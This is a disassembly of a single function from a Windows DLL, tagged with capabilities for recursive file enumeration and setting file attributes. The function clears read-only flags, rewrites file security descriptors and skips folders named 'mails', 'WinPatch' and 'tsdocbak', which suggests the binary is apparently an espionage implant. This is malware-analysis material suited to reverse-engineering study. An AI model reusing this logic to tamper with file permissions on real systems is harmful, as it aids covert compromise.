Function at 0x180009ac0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x3d0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x408], rbx
mov rax, qword [0x1800e7b20]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov rbx, r8
mov qword [rsp + 0x48], rbx
mov ebp, edx
mov rsi, rcx
test rcx, rcx
je 0x180009e29
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x180009e29
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.180004d20
mov edi, dword [rsp + 0x40]
cmp edi, 0xffffffff
je 0x180009b5e
test dil, 1
je 0x180009b5e
and edi, 0xfffffffe
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8, rbx
mov edx, ebp
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
mov ebx, eax
test eax, eax
jne 0x180009ba9
cmp dword [0x1801030e0], eax
je 0x180009e25
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
lea r9, str.SetFolderSecurity____d____S_
lea r8, str.FileSecurity
or edx, 0xffffffff
lea rcx, [0x1801027f8]
call fcn.180072a80
jmp 0x180009e25
test dil, 0x10
je 0x180009e2b
mov edx, 0x5c
mov rcx, rsi
call fcn.1800384d8
mov rdi, rax
test rax, rax
je 0x180009ced
inc rdi
lea rdx, str.mails
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.MailsTemp
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.MailsLeave
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.files
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.WinPatch
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.tsdocbak
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, [0x1800b3440]
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.Temp
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
lea rdx, str.SCDT
mov rcx, rdi
call fcn.180039608
test eax, eax
je 0x180009c9f
mov r8d, ntohs
lea rdx, str.Temp_Docerr_
mov rcx, rdi
call fcn.1800397f8
test eax, eax
jne 0x180009ced
cmp dword [0x1801030e0], 0
je 0x180009ce6
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.18001a9e0
nop
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
lea r9, str.filterspecialdoc__s
lea r8, str.Agent
or edx, 0xffffffff
lea rcx, [0x1801027f8]
call fcn.180072a80
nop
lea rcx, [rsp + 0x40]
call fcn.1800180c0
mov eax, ebx
jmp 0x180009e2b
mov byte [rsp + 0x2b0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x2b1]
call fcn.180038130
mov r9, rsi
lea r8, [0x1800b33e0]
mov edx, 0x103
lea rcx, [rsp + 0x2b0]
call fcn.18003a830
test eax, eax
js 0x180009e29
mov dword [rsp + 0x60], 0
xor edx, edx
mov r8d, 0x13c
lea rcx, [rsp + 0x64]
call fcn.180038130
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180009e25
nop dword [rax + rax]
lea rdx, [0x1800b2ed8]
lea rcx, [rsp + 0x8c]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x180009e02
lea rdx, [0x1800b2ed4]
lea rcx, [rsp + 0x8c]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x180009e02
mov byte [rsp + 0x1a0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x1a1]
call fcn.180038130
lea r11, [rsp + 0x8c]
mov qword [rsp + 0x20], r11
mov r9, rsi
lea r8, [0x1800b1b9c]
mov edx, 0x103
lea rcx, [rsp + 0x1a0]
call fcn.18003a830
test eax, eax
js 0x180009e02
mov r8, qword [rsp + 0x48]
mov edx, ebp
lea rcx, [rsp + 0x1a0]
call fcn.180009ac0
mov ebx, eax
test ebx, ebx
je 0x180009e1c
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180009d70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
jmp 0x180009e2b
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.180038100
mov rbx, qword [rsp + 0x408]
add rsp, 0x3d0
pop rdi
pop rsi
pop rbp
ret